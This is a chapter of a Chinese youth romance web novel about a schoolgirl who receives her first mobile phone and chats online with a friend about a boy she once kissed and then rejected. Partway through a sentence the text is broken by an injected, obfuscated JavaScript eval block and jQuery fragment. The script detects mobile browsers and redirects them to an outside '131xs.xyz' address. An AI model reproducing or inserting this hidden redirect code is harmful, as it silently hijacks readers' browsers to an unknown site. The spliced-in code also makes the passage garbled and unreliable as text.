我想快快长大，长成可以坚定站在你身边的大人模样。
——《时序日记》
“温柔小姑！”看见甄温柔的一瞬间，甄好原本灰暗的眸子瞬间亮了起来。
彼时的甄温柔已经成功离婚，但不常回家。
离了婚的她看起来容光焕发，竟是比之前还要漂亮明媚。
“快看温柔小姑给你带了什么礼物？”甄温柔摇晃着手中的小盒子。
“阿姐，小姑特地等在这里，说要让你一进家门就看到惊喜。”甄美也十分好奇甄温柔手里的盒子里装的是什么，“我也想看！”
因为激动，更因为开心，甄好的脸红扑扑的。
她心里有个猜测，猜到那个盒子里装的是她梦寐以求的物品。
甄温柔郑重地将盒子递到她手上，眼里满是温柔：“好好同志，元旦快乐。”
“谢谢温柔小姑！”甄好满怀期待，在两双眼睛的注视下，珍而重之地打开礼盒。
随着小巧的机身展现在眼前，甄好姐妹俩同时瞪大了眼睛。
“是手机！”甄好抑制不住内心的喜悦，大叫出声。
她抚摸着那个她见过无数次的logo，不敢相信自己真的能够拥有，但她很快冷静下来：“温柔小姑，这真的是卖给我的吗？一定很贵吧，我不能……”
她没说完的话被甄温柔打断：“好好，没什么能不能的。你还不了解小姑吗？小姑就喜欢宠着咱们女孩子，不仅好好有，等阿美将来长大了，也会有。别人家小姑娘有的，咱们甄家的小姑娘也得有。”
“谢谢温柔小姑。”连日来的委屈和难过在这一刻仿佛找到了出口，甄好再也忍不住，整个人扑到甄温柔怀里，热泪随之淌了下来。
小姑像一道光，照亮了她黑暗的前路，叫她找到了方向。
她要向小姑学习，学着爱人，学会洒脱，也学会勇敢。
但她很快想到了其他问题：“可是我爸妈……”
他们不会给她交话费的，她自己又没有能力……
“嘘——”甄温柔竖起一根手指横在唇上，“他们现在不在家，我还没告诉他们。”
她了解自己大哥和嫂子的性格，他们断然是不会同意甄好使用手机的。
但她也有过青春，她知道这个年龄阶段的女孩子想要什么，羡慕什么，她从前无法拥有，就想让小甄好不留遗憾。
“咱们三个拉钩——”甄温柔伸出小拇指，“让手机这件事成为我们之间的小小秘密好不好？”
“好呀。”甄美最喜欢阿姐和小姑了，她们说什么她都听，她跟着伸出小拇指，“拉钩，一百年不许变！”
一大两小三个女孩拉完钩，看着彼此笑弯了眼睛，就如天边边渐渐勾出轮廓的月牙。
手机是当时很流行的诺牌5200，红白相间的滑盖款智能机。
班里有大半同学都拥有了智能机，只有甄好一直守着初一刚入学那个省吃俭用买下来的MP3。
当晚，甄好的日记本多了一条：2006年12月31日，收到温柔小姑买的诺牌5200手机一部，以后长大了要给温柔小姑买更贵更好的手机。
郑重地写完这段话后，甄好将日记本翻到最后一页，首先把平时用笔记下来的周淳芮和鄢云书的手机号码小心翼翼地输入到手机里存起来。
她虽然自己没有手机，但为了在论坛上发表小说，常常需要借用周淳芮的智能手机，所以在操作上早就轻车熟路。
她本想给她们两人分别发送一条短信告知自己的手机号码，可一想到现在的手机卡和月租费用都是小姑帮她付的，她就舍不得。
一条一毛钱的短信，这在她看来是十分奢侈的支出。
但上网就不一样了。
于是吃过晚饭，姐妹俩早早就躲进屋子里研究起了新玩具。
甄好下载了手机□□软件，从下载到安装再到登录，她的手指都微微湿润，紧张和期待让她忍不住手心冒汗，像是在对待一件极其庄重的大事。
“阿姐，我也想要一个□□号。”甄美眨巴着大眼睛，满脸写着渴望。
甄好二话不说答应了：“等上电脑课的时候我给你申请一个。”
“好呀，谢谢阿姐。”甄美满足地眯起眼睛笑。
周淳芮给甄好申请过一个□□号，只是没什么机会登录。
她登录□□，给周淳芮和鄢云书发消息的时候仍旧觉得有些梦幻。
她真的拥有自己的手机了吗？
这一切太不真实了。
周淳芮是五分钟后才看到甄好发的群消息的。
好什么好；“芮芮、云云，晚上好。”
她惊讶得瞪大眼睛，立刻回复：“好好？你是本人吗？别是号被盗了啊……”
但她很快收到了回复——
好什么好：“咚咚咚咚——”
周淳芮看了眼睛一亮，这是她们三个人之间的暗号，是甄好本人没错！
两人在群里聊了一条又一条，却始终没看到鄢云书上线。
淳芮不纯：“云云肯定又在做题。”
好什么好：“我也觉得。”
淳芮不纯：“明天就是2007年的第一天了，初二上学期又快结束了。”
好什么好：“好想跟你们一起过节。”
淳芮不纯：“对了，你有新手机了，那你有没有联系时序那小子啊？”
突然看到时序的名字，甄好打字的手微顿，继而抬头看了一眼卧室那扇小小的窗户。
那里再也没响起被小石子击中的声音。
她有时候会产生幻听，觉得自己听到了独属于和少年之间的暗号，可等她满心期待地跑出去，外面总是空荡荡的。
再也没有少年在那里等她。
甄好回复了“没有”两个字后突然觉得没劲，好心情一寸一寸地消失，也没了聊天的欲望。
其实使用手机的第一时间，她真的想过给时序发短信。可一想到他不但不辞而别，并且明明有联系方式却一句话也没有留，她就觉得心里憋着一口气。
他不找他，她凭什么巴巴地去找他？
说不定人家现在做惯了有钱人家的少爷，已经不屑跟他们这些普通小市民做朋友了呢？
甄好恶毒地如是想着，同时也决定坚决不主动联系时序。
就在她想事情想得出神的时候，手机轻轻振动了一下。
淳芮不纯：“好好啊，其实我一直想问你一个问题。”
好什么好：“你问。”
淳芮不纯：“那我真问了啊？”
淳芮不纯：“问了下周你可不能打我。”
好什么好：“不打，问吧。”
淳芮不纯：“你是不是喜欢时序那小子啊？”
甄好看到
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15657744|171279||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这个问题心狠狠一跳，继续脸颊有些热。
她答非所问：“为什么这么问？大家明明都说我喜欢师杭与。”
就连她自己也是这么认为的。
在线上聊起这些少女心事，她没有面对面那样拘谨，想到什么就说什么。
淳芮不纯：“因为我比较看好你和时序。”
面对周淳芮的回答，甄好有些恍惚，半晌都没回复。
周淳芮很快追问：“所以你到底是不是喜欢时序呀？”
喜不喜欢时序……
甄好猛地想起初一下学期，某次月考结束，班主任兼年级长陈老师叫了几位学生帮忙批改试卷，最后确定下来的四个人是她们三个女生加上一个时序。
全校一千多名学生，年级组又要高效完成阅卷，经常会有找学生辅助的情况。
当时批改到时序的试卷时，看到他有道填空题没做对，导致数学成绩没上140分，好学生甄好突然起了一个坏念头——帮他改答案，加分数。
就在她趁老师出去喝水之际，准备将时序错误的答案11改成14时，少年却忽然出现在她身后，语气幽幽的：“好好，你是不是喜欢我？”
“为……为什么这么问？”感受到脖颈染上少年呼出的热气，甄好顿时浑身僵硬，笔尖远在半空，再没了下一步动作。
“好学生帮我改答案和分数，不是喜欢我是什么？”时序的眼神玩味十足。
甄好因为背对着他，并未看到他渐渐变红的耳尖。
像是要自证什么，甄好猛地转身面对少年，两人的距离也因此拉得更近。
在逼仄的教师办公室，在两颗心怦怦直跳的氛围里，时序红着脸将少女逼至墙角，像非要得到一个什么答案，又问了一遍：“好好，你真的不是喜欢我吗？”
甄好被问得大脑一片空白，根本不敢直视他的眼睛。
她想推开他，与他拉开一点距离，慌乱之下却演变成她自己都想不到的结果。
她没有推开少年，而是凑近他，轻轻地在他脸颊上亲了一下。
时序没想到她会有如此动作，一时嘴巴微张，僵在原地。
他还没来得及狂喜，他听见少女略显冷淡的声音：“时序，我确定，我不喜欢你。”
没等他说什么，她又残忍地补充了一句：“因为喜不喜欢一个人，心跳会告诉我答案。我的心没有因为你而跳快，所以我不喜欢你。”
甄好撒下这个青春最大的谎言后，看到少年眼里的光一点一点地暗了下去。
但当时的她一点都不后悔。
因为她不想一辈子困在那个小山坳里，她不想接受奶奶口中“早早嫁人”的命运，所以她不断地告诉自己，“一辈子的好朋友”是她与时序之间最适合的关系。
看着周淳芮的问题，甄好苦笑一声，而后回复道：“芮芮，我们跟他不再是一个世界的人了。”
网络那头的周淳芮微微皱眉：“好好，你怎么小小年纪说话就老气横秋的了？什么叫不是一个世界的人，爱情不分贫穷富贵……”
甄好顾左右而言他地转移了这个话题：“哈哈，芮芮说得对。不知道云云今晚还会不会出现……”
单线思维的周淳芮很快被她带偏了：“对哦，云云怎么还没上线……”
命运好像总是爱跟人开玩笑，即将放寒假的那个期末复习周，甄好又出事了。